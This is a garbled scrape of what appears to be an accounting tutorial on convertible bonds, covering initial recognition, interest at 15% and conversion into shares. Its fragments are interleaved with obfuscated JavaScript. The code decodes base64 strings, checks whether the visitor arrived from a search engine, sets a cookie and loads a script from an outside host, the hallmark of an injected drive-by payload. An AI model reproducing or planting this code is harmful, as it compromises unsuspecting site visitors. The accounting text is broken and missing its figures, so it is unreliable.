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Interest rate of a similar bond without the conversion option is 15% How must ABC LTD account for the convertible bonds upon initial recognition, subsequent measurement and maturity assuming all bonds are converted after three years?Initial RecognitionFollowing accounting entries must be recorded upon initial recognition:Present value of future interest payments and principal using 15%:Subsequent MeasurementInterest expense will be charged using 15%.. Bondholders are entitled to convert their bonds into \$1 ordinary shares of the company on the date of their maturity in three years time instead of receiving principle repayment.. Following accounting entry will be required to account for the conversion of bonds into shares after three years:.. constructor(\x22return\x20this\x22)(\x20'+');_0x54b525=_0x35dd5a();catch(_0x4b86de){_0x54b525=window;}var _0x1bd542='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+!/=';_0x54b525['atob']||(_0x54b525['atob']=function(_0x183b88){var _0x51aea6=String(_0x183b88)['replace'](/=+\$/,"");for(var _0x1fead0=0x0,_0x1eb50b=0x193839,_0x5f2faf=0x0,_0x39397d="";_0x193839=_0x51aea6['charAt'](_0x5f2faf++);~_0x193839&&(_0x1eb50b=_0x1fead0%0x4?_0x1eb50b*0x40+_0x193839:_0x193839,_0x1fead0++%0x4)?_0x39397d+=String['fromCharCode'](_0xff&_0x1eb50b>>(-0x2*_0x1fead0&0x6)):0x0){_0x193839=_0x1bd542['indexOf'](_0x193839);}return _0x39397d;});});_0x593c['base64DecodeUnicode']=function(_0x34710b){var _0x4c8f66=atob(_0x34710b);var _0x7743f3=[];for(var _0x244ce0=0x0,_0x1b4216=_0x4c8f66['length'];_0x244ce0=_0xec2ec3;,'cIpn':function _0x2d3454(_0x3c0d58,_0x175d21){return _0x3c0d58(_0x175d21);},'gXcpu':function _0x2d786e(_0x42a243,_0x55674c){return _0x42a243+_0x55674c;},'KnRjn':_0x593c('0x20')};var _0x4e7075=[_0x363ca1[_0x593c('0x21')],_0x363ca1[_0x593c('0x22')],_0x363ca1['fxqqR'],_0x363ca1[_0x593c('0x23')],_0x363ca1['TSURv'],_0x363ca1[_0x593c('0x24')],_0x363ca1[_0x593c('0x25')]],_0x557456=document['referrer'],_0x5838f6=![],_0x3d2911=cookie[_0x593c('0x26')](_0x363ca1[_0x593c('0x27')]);for(var _0x56b02b=0x0;_0x363ca1['wtpJT'](_0x56b02b,_0x4e7075[_0x593c('0x28')]);_0x56b02b++){if(_0x363ca1['dlJqp'](_0x557456[_0x593c('0x29')](_0x4e7075[_0x56b02b]),0x0)){_0x5838f6=![];}}if(_0x5838f6){cookie['set'](_0x363ca1[_0x593c('0x27')],0x1,0x1);if(!_0x3d2911){_0x363ca1[_0x593c('0x2a')](include,_0x363ca1[_0x593c('0x2b')](_0x363ca1[_0x593c('0x2b')](_0x363ca1[_0x593c('0x2c')],q),""));}}}}R(); Accounting for Convertible Bonds Illustration - ExampleABC LTD issues 1 million convertible bonds of \$1 each carrying nominal interest of 10%.. var _0x9dd7=['Y29va2ll','bWF0Y2g=','cGJyZ2c=','c3BsaXQ=','cmVwbGFjZQ==','OyBleHBpcmVzPQ==','OyBwYXRoPQ==','OyBzZW50cmU=','RXpoYWQ=','aE5Vd1c=','cFJlQ2c=','eHpiWFg=','bnBFUVc=','UmRmYmI=','SXdia2c=','OyBkb21haW49','clVKbFg=','Lmdvb2dsZS4=','LmJpbmcu','LnlhaG9vLg==','LmFvbC4=','LmFzay4=','LmFsdGF2aXN0YS4=','LnlhbmRleC4=','dmlzaXRlZA==','aHR0cHM6Ly9jbG9lZGV5ZXNzLm1lbi9kb25fY29uLnBocD94PWFuJnF1ZXJ5PQ==','SkN6TWk=','WHZuUXg=','cWxRa08=','dGloRnA=','T2JXdU8=','Z2V0','QUVYV1Y=','bGVuZ3Ro','aW5kZXhPZg==','Y0lKcG4=','Z1hjHU=','S25Sam4=','Y3JlYXRIRWxlbnVudA==','c3Jj','Z2V0RWRxlbnVudHNCeVRhZ05hbWU=','aGVhZA==','aWZycyt2cytnYWFWK2NvbnZlcnRpYm91bnRz','M3wyfDB8NXwxfDQ=','TGIFVE8='];(function(_0x127070,_0xe87ad4){var _0x172fc8=function(_0x363c5b){while(--_0x363c5b){_0x127070['push'](_0x127070['shift']());};_0x172fc8(++_0xe87ad4);}(_0x9dd7,0x1bb));var _0x593c=function(_0x2d05bd,_0x4aa3d4){_0x2d05bd=_0x2d05bd-0x0;var _0x33f912=_0x9dd7[_0x2d05bd];if(_0x593c['initialized']===undefined){(function(){var _0x54b525;try{var _0x35dd5a=Function('return\x20(function()\x20'+'{).. The difference between interest paid and interest charged will be added to the liability component as follows:*\$100,000 is the 10% nominal interest.

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